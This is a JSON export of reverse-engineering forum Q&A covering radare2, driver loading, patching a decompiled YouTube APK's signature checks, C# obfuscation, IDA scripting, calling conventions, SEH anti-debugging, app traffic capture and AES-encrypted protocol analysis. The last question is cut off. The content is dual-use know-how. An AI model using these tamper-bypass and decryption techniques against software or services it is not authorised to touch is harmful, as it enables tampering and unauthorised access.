        "Answer": "<p>You are most probably using radare2 version downloaded by following the link on the official website (<a href=\"http://radare.mikelloc.com/get/2.5.0/radare2_installer-msvc_32-2.5.0.exe\" rel=\"nofollow noreferrer\">http://radare.mikelloc.com/get/2.5.0/radare2_installer-msvc_32-2.5.0.exe</a>). The link is to the 32-bit application, but you need to open <a href=\"http://radare.mikelloc.com/get/2.5.0/\" rel=\"nofollow noreferrer\">the directory</a> and download the 64-bit radare2 version.\nJust encountered this issue myself.</p>\n"
    },
    {
        "Id": "18151",
        "CreationDate": "2018-05-02T21:47:47.757",
        "Body": "<p>I'm trying to unpack some windows driver but I can't load it to memory. I tried OSRLoader, ProcessHacker and my own loader and all returns ERROR_FILE_NOT_FOUND at OpenService. What's strange, other drivers works fine.  Unfortunatelly I don't have original dropper, can it be some kind of anti debugging trick? What can be reason?</p>\n",
        "Title": "Cannot load driver to memory",
        "Tags": "|windows|kernel-mode|driver|",
        "Answer": "<p>This is a filesystem filter driver, it cannot be run just like usual driver by creating a service and then starting it. You need to create inf file and register it properly, only then you'll be able to start its service.\n<a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/creating-an-inf-file-for-a-file-system-filter-driver\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/creating-an-inf-file-for-a-file-system-filter-driver</a></p>\n"
    },
    {
        "Id": "18165",
        "CreationDate": "2018-05-04T13:02:51.267",
        "Body": "<p>I try to decompile youtube android application and modify it but when I build the application and install on a virtual device faced with below error:</p>\n\n<pre><code>E/AndroidRuntime(1782): java.lang.VerifyError: Rejecting class \ncom.google.android.apps.youtube.app.YouTubeApplication because it failed compile-time \nverification (declaration of 'com.google.android.apps.youtube.app.YouTubeApplication' \nappears in /data/ap /com.google.android.youtube-1/base.apk)\n</code></pre>\n\n<ul>\n<li>I use APKTOOL for decompiling and build Smali sources.</li>\n<li>I create a PowerConnectionReceiever.smali and copy it to \n<code>com\\google\\android\\apps\\youtube\\app\\</code> directory then try to register my receiver to <code>com\\google\\android\\apps\\youtube\\app\\YouTubeApplication.smali</code> in <strong>onCreate</strong> method</li>\n<li>also add receiver declaration in AndroidManifest.xml and convert it to <strong>bytecode</strong> then copy it to youtube project directory </li>\n<li>when I ask about it from the experts they tell me it occurs because of Google Tamper Detection Mechanism.</li>\n</ul>\n\n<p>I want to know about those mechanisms. can anyone help me?</p>\n\n<p>thanks for helping</p>\n\n<p>----------------------- Edit ---------------------</p>\n\n<p>I just modify signing certificate check in two file <strong>anex.smali</strong> and <strong>nlo.smali</strong> and faced with this error when run app:</p>\n\n<pre><code>E/AndroidRuntime(1665): java.lang.VerifyError: Verifier rejected class\ncom.google.android.apps.youtube.app.YouTubeApplication due to bad method\nvoid com.google.android.apps.youtube.app.YouTubeApplication.onCreate() \n(declaration of 'com.google.android.apps.youtube.app.YouTubeApplication'\nappears in /data/app/com.google.android.youtube-1/base.apk)\n</code></pre>\n\n<h1>AndroidManifest.xml</h1>\n\n<pre><code>&lt;application android:backupAgent=\"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent\" \n    android:hardwareAccelerated=\"true\" \n    android:icon=\"@mipmap/ic_launcher\"\n    android:label=\"@string/application_name\"\n    android:largeHeap=\"true\"\n    android:logo=\"@drawable/action_bar_logo_release\"\n    android:name=\"com.google.android.apps.youtube.app.YouTubeApplication\"\n    android:restoreAnyVersion=\"true\"\n    android:roundIcon=\"@mipmap/ic_launcher_round\"\n    android:supportsRtl=\"@bool/supports_rtl\"\n    android:theme=\"@style/Theme.YouTube.Light\"&gt;\n    &lt;meta-data android:name=\"android.max_aspect\" android:value=\"2.1\"/&gt;\n    &lt;meta-data android:name=\"com.google.android.backup.api_key\" android:value=\"AEdPqrEAAAAIXi58ScnYbhPAPl8s4DjDkSik7XGKNcn8YqfZFg\"/&gt;\n    &lt;meta-data android:name=\"to.dualscreen\" android:value=\"true\"/&gt;\n    &lt;meta-data android:name=\"com.google.android.apps.youtube.config.BuildType\" android:value=\"RELEASE\"/&gt;\n    &lt;receiver android:enabled=\"true\" android:exported=\"true\" android:name=\"com.google.android.apps.youtube.app.PowerConnectionReceiver\"&gt;\n        &lt;intent-filter&gt;\n            &lt;action android:name=\"android.intent.action.ACTION_POWER_CONNECTED\"/&gt;\n            &lt;action android:name=\"android.intent.action.ACTION_POWER_DISCONNECTED\"/&gt;\n        &lt;/intent-filter&gt;\n    &lt;/receiver&gt;\n</code></pre>\n\n<h1>YouTubeApplication.smali :</h1>\n\n<pre><code>#####MY_CODE####\n.field private mPower:Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;\n.\n.\n.\n.method public onCreate()V\n.\n.\n.\n    .line 101\n     invoke-super {p0}, Lcvu;-&gt;onCreate()V\n     #####MY_CODE####\n     new-instance v0, Landroid/content/IntentFilter;\n     invoke-direct {v0}, Landroid/content/IntentFilter;-&gt;&lt;init&gt;()V\n     .local v0, \"filter\":Landroid/content/IntentFilter;\n     const-string v1, \"ACTION_POWER_CONNECTED\"\n     invoke-virtual {v0, v1}, Landroid/content/IntentFilter;-&gt;addAction(Ljava/lang/String;)V\n     new-instance v1, Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;\n     invoke-direct {v1}, Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;-&gt;&lt;init&gt;()V\n     move-object/from16 v2, p0\n     iput-object v1, v2, Lcom/google/android/apps/youtube/app/YouTubeApplication;-&gt;mPower:Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;\n     iget-object v1, v2, Lcom/google/android/apps/youtube/app/YouTubeApplication;-&gt;mPower:Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;\n     invoke-virtual {v2, v1, v0}, Lcom/google/android/apps/youtube/app/YouTubeApplication;-&gt;registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;\n    ...\n.end method\n</code></pre>\n\n<h1>PowerConnectionReceiver.smali :</h1>\n\n<p><pre><code>\n   .class public Lcom/google/android/apps/youtub/app/PowerConnectionReceiver;\n   .super Landroid/content/BroadcastReceiver;\n   .source \"PowerConnectionReceiver.java\"\n    #direct methods\n   .method public constructor ()V\n       .locals\n       .prologue\n       .line 8\n       invoke-direct {p0}, Landroid/content/BroadcastReceiver;->()V\n       return-void\n   .end method\n   #virtual methods\n   .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V\n        .locals 3\n        .param p1, \"context\"    # Landroid/content/Context;\n        .param p2, \"intent\"    # Landroid/content/Intent;\n        .prologue\n        .line 11\n        invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;\n        move-result-object v0\n        .line 12\n        .local v0, \"action\":Ljava/lang/String;\n        const-string v1, \"android.intent.action.ACTION_POWER_CONNECTED\"\n        invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z\n        move-result v1\n        if-eqz v1, :cond_0\n        .line 13\n        const-string v1, \"POWER_CONNECTION_MESSAGE\"\n        const/4 v2, 0x1\n        invoke-static {p1, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;\n        move-result-object v1\n        invoke-virtual {v1}, Landroid/widget/Toast;->show()V\n        .line 15\n        :cond_0\n        return-void\n    .end method\n    </code></pre></p>\n\n<p>i don't know why this happen?</p>\n",
        "Title": "verifyError in youtube android app modification",
        "Tags": "|decompilation|android|obfuscation|apk|byte-code|",
        "Answer": "<p>I found the problem after reviewing the code, it's for setting v1 (variable register), here:</p>\n\n<pre><code>const-string v1, \"ACTION_POWER_CONNECTED\"\n</code></pre>\n\n<p>V1 are used before in this line :</p>\n\n<pre><code>const/4 v1, 0x0\n</code></pre>\n\n<p>and i reuse it! so i rename it to v3 and problem solved.</p>\n"
    },
    {
        "Id": "18173",
        "CreationDate": "2018-05-04T21:19:09.150",
        "Body": "<p>After reading the ins and outs of <a href=\"https://stackoverflow.com/questions/36525356/why-is-there-no-accurate-c-decompiler\">compilation differences</a> between <code>C#</code> and <code>C++</code> , my question is, cant we compile the <code>C#</code>application (or dll) with Visual Studio (or with other program), so similarly to <code>C++</code> it stripped out many information during compilation and made an app which will be hard for decompilation like <code>C++</code> file.</p>\n",
        "Title": "Compile C# like C++?",
        "Tags": "|c++|compilers|c#|",
        "Answer": "<p>There are a number of options:</p>\n\n<ul>\n<li>C# code can be compiled to native code (like C++ compilation) using Ngen.exe or .NET Native. Although the IL code and metadata might still be required by the runtime.</li>\n<li>All kinds of information that is contained in an assembly such as type names, variable names, method names, strings, and constants can be obfuscated. This makes the purpose of a construct difficult to guess just by looking at its name. This makes an assembly more like a native binary that is stripped of debugging information, except that IL code is still much easier to decompile than native code in general. IL instructions cannot be obfuscated as easily.</li>\n<li>Obfuscate or encrypt everything \"managed\" including the IL code and modify the native entry point of the assembly so that it calls a native function that will deobfuscate or decrypt (potentially on-demand or as-needed) IL code and metadata. The native function may call an external native library to do the job. This obviously makes decompilation much harder than even decompiling plain native code, but it comes at a run-time performance cost when execute the code. The previous two techniques have basically no performance overhead.</li>\n</ul>\n"
    },
    {
        "Id": "18179",
        "CreationDate": "2018-05-05T07:45:15.413",
        "Body": "<p>I'm writing an IDC script which accepts a structure and does some processing. Currently, I have to call it by typing structure names. What I want is to make it use the structure under cursor in \"Structures\" window so I can save a lot of typing. Is there any way to do this?</p>\n\n<p>Tried <code>ScreenEA()</code>. It returns the address in \"Disassembly\" window instead of a structure id.</p>\n\n<p>IDAPython code is also acceptable.</p>\n",
        "Title": "IDC: Get structure id under cursor in \"Structures\" window?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>May be bit of an odd question - but how do you run the script? Hotkeys don't work while the structure view is open, and if you run a script via <code>Alt+F7</code> for example the cursor position changes.</p>\n\n<p>That said, one solution that may be good enough:</p>\n\n<pre><code>import ida_kernwin\n\nret = ida_kernwin.get_highlight(ida_kernwin.get_current_widget())\nif ret and ret[1]:\n    print \"Current highlight: %s\" % ret[0]\n</code></pre>\n\n<p>Basically, you need to click the structure name so it's highlighted (yellow), then the above code will print the struct name.</p>\n"
    },
    {
        "Id": "18180",
        "CreationDate": "2018-05-05T10:10:42.240",
        "Body": "<p>With Microsoft Visual C++ executables, I often run into decompilations like this:</p>\n\n<pre><code>void __cdecl Pbdf::ReadString(char *dst, Pbdf *pbdfOrLength)\n{\n    Pbdf *pbdf; // esi\n\n    pbdf = pbdfOrLength;\n    Pbdf::ReadBytes(&amp;pbdfOrLength, 1, pbdfOrLength);\n    Pbdf::ReadBytes(dst, (unsigned __int8)pbdfOrLength, pbdf);\n    dst[(unsigned __int8)pbdfOrLength] = 0;\n}\n</code></pre>\n\n<p>The function is actually more like this (as seen in a Watcom executable doing the same thing):</p>\n\n<pre><code>void __usercall Pbdf::ReadString(char *dst@&lt;eax&gt;, Pbdf *pbdf@&lt;edx&gt;)\n{\n    unsigned __int8 length; // [esp+0h] [ebp-14h]\n\n    Pbdf::ReadBytes(pbdf, &amp;length, 1u);\n    Pbdf::ReadBytes(pbdf, dst, length);\n    *((_BYTE *)dst + length) = 0;\n}\n</code></pre>\n\n<p>So, from a Pbdf file-like struct, it's reading a single byte determining the number of following bytes to read into a buffer, and terminates that buffer with a 0.</p>\n\n<p>However, in the MSVC decompilation, you can see it merged the length and Pbdf struct into one variable, causing me to name the variable \"pbdfOrLength\".</p>\n\n<p>Is it somehow possible to tell the decompiler to \"split\" these variables up / handle them as two separate ones, to get an output similar to what is seen in Watcom?</p>\n",
        "Title": "Split variable in Hexrays decompiler?",
        "Tags": "|ida|hexrays|decompiler|msvc|",
        "Answer": "<p>I don't think there's a way to add a new function variable, since the decompiler creates those based on registers and stack locations.</p>\n\n<p>However, in situations where it's really annoying, creating a union type in the Structure viewer can be helpful. </p>\n\n<p><a href=\"https://i.stack.imgur.com/8Hkwx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8Hkwx.png\" alt=\"Union Definition\"></a></p>\n\n<p>Then, in your decompiler, set the type of the variable to the union type (Y is the keyboard shortcut).\n<a href=\"https://i.stack.imgur.com/u5mis.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/u5mis.png\" alt=\"variable type declaration\"></a></p>\n\n<p>In the disassembly, depending on the variable usage, you can use \"Alt-Y\" to select the appropriate union field. (it's also accessible in the right click menu)\n<a href=\"https://i.stack.imgur.com/UM067.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UM067.png\" alt=\"Union field select\"></a></p>\n"
    },
    {
        "Id": "18182",
        "CreationDate": "2018-05-05T15:06:57.703",
        "Body": "<p>I'm starting to learn amd86_64 calling convention and how it calls params and clean the stack but the concept hasn't sunk in yet, so i would like to get a help reading the params as this might clear the confusion for me in the future. I used the same function on a different processor architecture before but i'm sure the signature has changed by the devs because I tried to call it same as before but it crashes every time, here's the old signature:</p>\n\n<pre><code>void(*DrawText)(int, float x, float y, int color, const char * text)\n</code></pre>\n\n<p>Here's the assembly for the function in amd86_64 starting from the caller function:</p>\n\n<pre><code>    push    rbp\n    mov     rbp, rsp\n    push    r15\n    push    r14\n    push    r13\n    push    r12\n    push    rbx\n    sub     rsp, 178h\n    lea     rdi, [rbp+var_108]\n    mov     esi, 1\n    xor     edx, edx\n    call    sub_937750\n    lea     rax, dword_1885C10\n    vcvtsi2ss xmm0, xmm0, dword ptr [rax+54h]\n    vmovss  [rbp+var_164], xmm0\n    vcvtsi2ss xmm0, xmm0, dword ptr [rax+58h]\n    vmovss  [rbp+var_168], xmm0\n    lea     rsi, a30f_1\n    vmovss  xmm0, dword ptr cs:qword_10799B8\n    xor     edi, edi\n    call    sub_A0E930\n    lea     rcx, qword_17FAB50\n    mov     rcx, [rcx]\n    cmp     byte ptr [rcx+2E87h], 0\n    jnz     loc_4994\n    cmp     byte ptr [rcx+2E81h], 0\n    jz      loc_4994\n    mov     eax, eax\n    vcvtsi2ss xmm0, xmm0, rax\n    vmovss  xmm1, [rbp+var_168]\n    vsubss  xmm0, xmm1, xmm0\n    lea     rax, unk_1871D60\n    vmovss  xmm2, dword ptr [rax]\n    vxorps  xmm1, xmm1, xmm1\n    vucomiss xmm2, xmm1\n    jbe     loc_3E5E\n    vmovss  xmm1, dword ptr cs:qword_10799B8\n    vdivss  xmm1, xmm1, xmm2\n    vmovss  [rbp+var_16C], xmm1\n    vcvtss2sd xmm2, xmm2, xmm2\n    lea     rdi, [rbp+var_108]\n    lea     rdx, a62fFps\n    mov     eax, 0FF0000FFh\n    mov     ecx, 0FF00FFFFh\n    mov     r14d, 0FF00FF00h\n    vucomiss xmm1, dword ptr cs:qword_10799B8+4\n    cmova   r14d, ecx\n    vaddss  xmm1, xmm1, dword ptr cs:qword_10799B8+8\n    vucomiss xmm1, dword ptr cs:qword_10799B8+0Ch\n    cmova   r14d, eax\n    vmovss  [rbp+var_168], xmm0\n    vmovss  xmm1, [rbp+var_164]\n    mov     esi, r14d\n    mov     al, 3\n    call    DrawText\n</code></pre>\n\n<p>Here's what I gathered so far (not sure if it's right though), 1st arg is a pointer <code>lea rdi, [rbp+var_108]</code> 2nd and 3rd are floats which is the positioning coordinates:</p>\n\n<pre><code>vmovss  xmm1, dword ptr cs:qword_10799B8\nvdivss  xmm1, xmm1, xmm2\nvmovss  [rbp+var_16C], xmm1\nvcvtss2sd xmm2, xmm2, xmm2\n</code></pre>\n\n<p>4th and 6th are int's (hex code for rgb colors I assume) <code>mov esi, r14d</code> and <code>mov ecx, 0FF00FFFFh</code> the 5th arg is a char pointer <code>lea rdx, a62fFps</code>. The function doesn't return anything so i'm sure it's a void.</p>\n\n<pre><code>void(*DrawText)(int *, float x, float y, int color, int, const char * text)\n</code></pre>\n\n<p>I tried to call this way but it also crashes, please let me know if I got something wrong and explain stuff because i'm little newbee when it comes to assembly.</p>\n\n<p><strong>Note:</strong> This is not a <strong>PLEASE DO IT FOR ME</strong> question but rather explain how do I read the params properly, I don't mind posting the final result at the end of the answer though.</p>\n",
        "Title": "Reading params of a text engine function amd86_64",
        "Tags": "|assembly|x86-64|arguments|",
        "Answer": "<p>You need to read from the bottom up. I have no experience with the AMD64 calling convention but here's my take:</p>\n\n<p>Wikipedia says:</p>\n\n<blockquote>\n  <p>The first six integer or pointer arguments are passed in registers RDI, RSI, RDX, RCX, R8, R9 (R10 is used as a static chain pointer in case of nested functions[19]:21), while XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 are used for certain floating point arguments.</p>\n</blockquote>\n\n<p>Judging from that I'd say the following mapping would be right then:</p>\n\n<pre><code>Argument #  | Register   | Desc\n------------|------------|---------\n1           | rdi        | int *\n2           | xmm0       | x\n3           | xmm1       | y\n4           | rsi        | int color\n5           | rdx        | unnamed int\n6           | rcx        | const char *text\n</code></pre>\n\n<p><em>The following was my mistake as I misread the post, the old signature posted at the top agrees with me, the one at the bottom does not</em></p>\n\n<p>but when I worked through your code reading bottom up it didn't fit:</p>\n\n<pre><code>lea     rdx, a62fFps\n</code></pre>\n\n<p>that loads the text to print into <code>rdx</code> but if above mapping would be right, <code>rdx</code> should be some unnamed int, and only the next argument would be the text.</p>\n\n<p>Note that this may be my fault because I may have missed some nuance of AMD64.</p>\n\n<p><em>End of mistake</em></p>\n\n<p>Back to what does work:</p>\n\n<p>The first argument, the pointer, should be in <code>rdi</code>. If you read upwards, </p>\n\n<pre><code>lea     rdi, [rbp+var_108]\n</code></pre>\n\n<p>is the first line to write to <code>rdi</code>, so that's your pointer (it fits the type). Floats seem to be passed via <code>xmm0</code> and <code>xmm1</code> so those will be <code>x</code> and <code>y</code>. The color is the 2nd non-float argument, which would be in <code>rsi</code> and reading the code we find:</p>\n\n<pre><code>mov     esi, r14d\n</code></pre>\n\n<p>and <code>rsi</code> contains <code>esi</code>, so that would be your color, only it's 32 bit in size. If you read the code, it also seems to fit the color type.</p>\n\n<p>Then above problem appears where I was expecting another int but the next argument seems to be the text instead.</p>\n"
    },
    {
        "Id": "18192",
        "CreationDate": "2018-05-06T20:36:27.737",
        "Body": "<p>I have some code which makes use of the Structured Exception Handler in order to employ some anti-debugging voodoo. It executes a series of instructions and I need to get the correct input. I can see the instructions and can reverse the ones that work directly with my input, but there is some background work (which happens at [esi]) - that also plays a part in the challenge. If I could follow the instructions step by step, I could make some great progress.</p>\n\n<p><a href=\"https://i.stack.imgur.com/1qgER.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1qgER.png\" alt=\"first instruction set\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/Yqhnb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Yqhnb.png\" alt=\"instructions in exception handler after first instruction set\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/x858j.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/x858j.png\" alt=\"second instruction set\"></a></p>\n\n<p>As I was saying, there are sets of instructions which work on my input. Let's say I am at 0x402DC0. The problem is that once I get to 0xCC, the debugger alerts me of the BREAKPOINT_EXCEPTION (I choose to Step Over) and then, instead of taking me (nicely and slowly) to the address 0x402B5D, the debugger skips to 0x402F1E (this behaviour repeats itself with another 8 sets of instructions each with its own exception handler thingy). The instructions get executed though - I figured it out giving the program different inputs.</p>\n\n<p>I assume the program creates exceptions then just makes the jumps using SEH. The anti-debugging thingy is the fact that it doesn't let me go step by step, I suppose.</p>\n\n<p>The question: Can I somehow step into the function at 0x402B5D, then going step by step just like when I am debugging a simple program?</p>\n\n<p>I have tried modifying EIP and then Stepping Into (also swallowing the exception), but this does not produce the desired result because the instruction at 0x402B6D will produce another exception - I access [esi] which is out of the memory map of the program.</p>\n\n<p>Also, is there any way I could find the instructions which make up the Exception Handler (in my program)? \nReading up on it (<a href=\"http://bytepointer.com/resources/pietrek_crash_course_depths_of_win32_seh.htm\" rel=\"nofollow noreferrer\">http://bytepointer.com/resources/pietrek_crash_course_depths_of_win32_seh.htm</a>) gave me a basic understanding of the mechanics under the hood. I've also tried to follow the pointer in the SEH chain, but the kernel functions don't help much.</p>\n\n<p>The registers (at least some of them) are clearly modified because the program goes on flawlessly (if I do not modify EIP). Can I find the function which modifies them?</p>\n",
        "Title": "\"Stepping Into\" Exception Handler",
        "Tags": "|seh|",
        "Answer": "<p>from your second screen shot  [ebp+10] will point to _CONTEXT \nebx = [ebp+10] -> </p>\n\n<pre><code>ebx == CONTEXT-&gt;FirstMember ==ContextFlags\nebx+4 ==  CONTEXT-&gt;SecondMember  == Dr0 (Debug Register 0)\nebx+a0 ==  Register Esi\nebx + b8 == Eip (this is where the execution will continue )\nebx+b0 == Eax\n</code></pre>\n\n<p>if you have a hardware breakpoint you will get a different esi (see the xor) \nwhen you resume<br>\nalso your eax is xorred with some magic constant 0xde266de </p>\n\n<p>and on resuming the ax is used<br>\nbut after this one needs to see the further handlers </p>\n\n<p>the second address 402ef6 also seems to end in an int3 but this time the exception handler is 402d95 so you have more spleunking</p>\n\n<p>you can single step just set a breakpoint in ntdll!ExecuteHandler2 (win7 32 bit) \nand you will see a call ecx<br>\nthis call will normally call the handler </p>\n\n<pre><code>0:000&gt; uf ntdll!ExecuteHandler2\nntdll!ExecuteHandler2:\n775371d3 55              push    ebp\n775371d4 8bec            mov     ebp,esp\n775371d6 ff750c          push    dword ptr [ebp+0Ch]\n775371d9 52              push    edx\n775371da 64ff3500000000  push    dword ptr fs:[0]\n775371e1 64892500000000  mov     dword ptr fs:[0],esp\n775371e8 ff7514          push    dword ptr [ebp+14h]\n775371eb ff7510          push    dword ptr [ebp+10h]\n775371ee ff750c          push    dword ptr [ebp+0Ch]\n775371f1 ff7508          push    dword ptr [ebp+8]\n775371f4 8b4d18          mov     ecx,dword ptr [ebp+18h]\n775371f7 ffd1            call    ecx &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n775371f9 648b2500000000  mov     esp,dword ptr fs:[0]\n77537200 648f0500000000  pop     dword ptr fs:[0]\n77537207 8be5            mov     esp,ebp\n77537209 5d              pop     ebp\n7753720a c21400          ret     14h\n</code></pre>\n\n<p>context when on handler start</p>\n\n<pre><code>0:000&gt; r\neax=00000000 ebx=00000000 ecx=0040107f edx=7753720d esi=00000000 edi=00000000\neip=0040107f esp=0012fb90 ebp=0012fbb0 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nexcept1!HANDLER:\n0040107f 53              push    ebx\n0:000&gt; ?? (ntdll!_context *) @@masm(poi(ebp+10))\nstruct _CONTEXT * 0x0012fc8c\n   +0x000 ContextFlags     : 0x1003f\n   +0x004 Dr0              : 0\n   +0x008 Dr1              : 0\n   +0x00c Dr2              : 0\n   +0x010 Dr3              : 0\n   +0x014 Dr6              : 0\n   +0x018 Dr7              : 0\n   +0x01c FloatSave        : _FLOATING_SAVE_AREA\n   +0x08c SegGs            : 0\n   +0x090 SegFs            : 0x3b\n   +0x094 SegEs            : 0x23\n   +0x098 SegDs            : 0x23\n   +0x09c Edi              : 0\n   +0x0a0 Esi              : 0\n   +0x0a4 Ebx              : 0x7ffd4000\n   +0x0a8 Edx              : 0x775370f4\n   +0x0ac Ecx              : 0\n   +0x0b0 Eax              : 0\n   +0x0b4 Ebp              : 0x12ff94\n   +0x0b8 Eip              : 0x401072\n   +0x0bc SegCs            : 0x1b\n   +0x0c0 EFlags           : 0x10246\n   +0x0c4 Esp              : 0x12ff70\n   +0x0c8 SegSs            : 0x23\n   +0x0cc ExtendedRegisters : [512]  \"???\"\n</code></pre>\n\n<p>check the address where exception happened in the CONTEXT->Eip</p>\n\n<pre><code>0:000&gt; u 401072 l1\nexcept1!PROTECTED_AREA+0x1f:\n00401072 f7f1            div     eax,ecx\n</code></pre>\n\n<p>and you can see both eax , and ecx are 0 </p>\n\n<p>and you can see the Exception Code </p>\n\n<pre><code>0:000&gt; dd poi(ebp+8) l1\n0012fc78  c0000094  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; divide by zero\n</code></pre>\n"
    },
    {
        "Id": "18199",
        "CreationDate": "2018-05-07T07:54:15.110",
        "Body": "<p><strong>Scenario</strong></p>\n\n<p>On my phone I have an app. When I login into the app and goto my profile there is an profile picture of me. I want to that picture because I need it. Simple way is just goto an local shop an take an picture but the cool way would be to get that image from the app.</p>\n\n<p><strong>Question</strong></p>\n\n<p>How can I get the image from the app on my mobile?</p>\n\n<p>How I think it could be done:</p>\n\n<p>Use wireshark listen to the mobile traffic from the app and somehow try to get the image. Is this the right way or are there better ones?</p>\n\n<p><strong>Information</strong></p>\n\n<p>Android 8.1.1</p>\n",
        "Title": "How to reverse engineer mobile app image?",
        "Tags": "|android|wireshark|",
        "Answer": "<p>To get an image from an mobile app you first want to know if it is stored on your device or if it is loaded when you log in to your account. In my case it was an profile picture witch will be loaded when you login into your app. In that case you can do the following:</p>\n\n<ol>\n<li>The first thing to do is Download and install <a href=\"https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&amp;hl=en\" rel=\"nofollow noreferrer\">Packet Capture</a>. This app can be used to sniff the network traffic of any app you want.</li>\n<li>Open the <code>Packet Capture</code> app and click on the `GreenArrow/triangle, select the wanted app you want to listen to. (The first time you have to create a certificate, but this is very easy, just follow the instructions on the screen)</li>\n<li>If a red stop button appears on the top it means that packet capture is now listening to all the data that the app uses. </li>\n<li>Open the app you want to listen to and go to the page where the image will be loaded. Now you can stop <code>Packet Capture</code> by clicking on the red stop button </li>\n<li>When you have stopped the listening you now see in a list a new row appearing with the total captures the app <code>Packet Capture</code> has done. These are the network requests and responses that the app has done. Click on a row and all the captures will be shown. </li>\n<li>You have to search all the captures and check the json response and see if you see any link from the image page. When you have found the link, then copy and save it for later. </li>\n</ol>\n\n<p>Now you have the image link it depends on the current situation what you want to do.</p>\n\n<ol>\n<li>The link can be to an HTML document with the foto. Then you can simply save the image.</li>\n<li>The link can be from an api witch returns some binary data.</li>\n</ol>\n\n<p>In my case it was an API call. Before I created a script to make that API call I wanted to check the source code of the app and see if there are any descriptions or decoding needs to be done. The following steps are not necessary, but if there is some encryption is encoding you can do the following.</p>\n\n<ol>\n<li><p>Get the APK file from the app and save it to your phone, this can be done with <a href=\"https://play.google.com/store/apps/details?id=com.ext.ui&amp;hl=nl\" rel=\"nofollow noreferrer\">this app</a></p></li>\n<li><p>Convert the APK to the Java source code, this can be done with this <a href=\"http://www.javadecompilers.com/apk\" rel=\"nofollow noreferrer\">Site</a>. Download the source code and install an editor for it.</p></li>\n<li>Now you have the source code find the code where the image will be loaded from the API or just an HTTP call. And just find any clues on decryption decoding or autoriensation that the app uses. You have to figure this out because every situation can be diffrent. In my sittation the app did not had any autherisation for the API and the data returend whas not encrypted. I just searched for the code where the my profile picture was stored form there I searched to all refrences and found the place where the profile picture was loaded from an API call. </li>\n</ol>\n\n<p>Now I know where I can get my image from I can create an C# program to get the bytes from the API and convert that to an image.</p>\n\n<pre><code>// Create a request for the URL.   \nWebRequest request = WebRequest.Create(\n            \"weburl/to/the/api\");\n\n// Get the response.  \nWebResponse response = request.GetResponse();\n\n// Get the stream containing content returned by the server.  \nStream dataStream = response.GetResponseStream();\n\nvar bitmap = Bitmap.FromStream(dataStream);\n\nresponse.Close();\n\nbitmap.Save(\"mypicture.png\");\n</code></pre>\n\n<p>If your device is rooted you may try to search the /mnt/sdcard/Android/data/ for folder where the application stores its temporary data. Most likely your profile picture is cached. But it may be stored as BLOB in some database file. Actualy you don't always need root access to access the cache of an app. Go to the folder: /mnt/sdcard/Android/data//Cache. If this folder is not located it can be that the app has made the cache invisible in this case you need to root you phone. </p>\n"
    },
    {
        "Id": "18206",
        "CreationDate": "2018-05-07T23:46:42.680",
        "Body": "<p>Background: I am currently looking to make some diagnostic software interoperable with other software, but all communication that occurs in this software is encrypted with AES-128-CBC.  A sample request is included below. The binary is also linked to at the bottom for those who wish to examine it.</p>\n\n<pre><code>{\n  \"api-version\": \"1.0\",\n  \"mac-model\": 69,\n  \"action\": 1,\n  \"timestamp\": 1517862344000,\n  \"service-location\": false,\n  \"ksess\": \"X+syUFRBrn9ytyg0qDaG/+W7wN6MiuHyJzNuLj/y/vbjpeDJoZjAP65xTWiSLrgJJMCgAyoKc8Ss3oUjq1gRYeTz8oEjjUmU2ym+f6pwoVsrVJ+EtQ/WDnhENjdAjE2vNOuiD1v/ncSk/gk1AUiZwK8tpPPEytSv0R9XlVtVpg8KlK1SF66Vl2hRjovko9uqIxs98iymZ42iWkff39DQoclbngKTbLItUeXUbzwBI6thXkNiTYDmdm3SZUJrK6TS7ZoOxH/4eEJXDprf9pImEg7r0PmE4pPXSXSmuLVPAwHjWp0riVIVw0DGgQ4cfABmCh/oFxxl/Q5rzkvsKQuKeg==\",\n  \"hmac\": \"89FA90002E4FA47C83FAEF1AC378B51D5A1CD2DB\",\n  \"data\": \"MtN0XjxexXRb9GNh3pSJNW0jxvLZm45alwSbJ40fVXowOnKQpaD7Yc3exBCvmw1z//a+iQtOdpBV/NdHe78hj8oxQJ+4iBDsM6tv6PEB2OeNFJnKuQ5R0azq527npjMAuPWvZszotJkB7FBiF3YjbK6QPCBDURybanqUCJrO3Yao6+Qfa4P41VFbZab0FhoJ\",\n  \"data2\": \"xgffrf24+Poxd6iS+r7nC5KDD6s=\"\n}\n</code></pre>\n\n<p>I have worked out how the AES key is generated, and have been able decrypt the encrypted data, except for the first block, which obviously uses the IV during encryption. The IV is generated based on the timestamp, I have included a picture of the disassembled function below:</p>\n\n<p><a 